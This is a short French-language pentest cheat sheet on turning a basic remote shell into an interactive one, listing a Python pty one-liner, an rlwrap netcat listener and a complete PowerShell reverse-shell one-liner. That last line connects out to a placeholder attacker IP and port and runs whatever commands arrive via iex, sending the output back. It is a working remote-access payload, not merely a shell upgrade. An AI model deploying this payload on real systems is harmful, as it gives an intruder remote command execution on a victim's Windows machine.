Upgrade de Shell
Upgrade de Shell - Rendre le Shell Interactif
Description :
L'upgrade de shell est un processus permettant de transformer un shell de base en un shell interactif, offrant ainsi une expérience plus fluide et plus puissante pour l'exécution de commandes et l'interaction avec le système cible.
Exemples d'utilisation :
Upgrader un shell Bash en shell interactif :
python -c 'import pty; pty.spawn("/bin/bash")'
Upgrader un shell Netcat en shell interactif (Linux) :
rlwrap nc -lvnp
Upgrader un shell PowerShell en shell interactif (Windows) :
$client = New-Object System.Net.Sockets.TCPClient("<attaquant_ip>", <attaquant_port>) $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (iex $data 2>&1 | Out-String ) $sendback2 = $sendback + "PS " + (pwd).Path + "> " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close()
Options Principales :
Upgrader un shell Bash en shell interactif :
Utiliser la bibliothèque Python
pty
pour améliorer le shell en interactif.
Upgrader un shell Netcat en shell interactif (Linux) :
Utiliser
rlwrap
pour ajouter la fonctionnalité d'édition de ligne à Netcat.Remplacer
<port>
par le port écouté par Netcat.
Upgrader un shell PowerShell en shell interactif (Windows) :
Utiliser une connexion TCP pour établir une communication bidirectionnelle.
Remplacer
<attaquant_ip>
par l'adresse IP de l'attaquant et<attaquant_port>
par le port de l'attaquant.
Last updated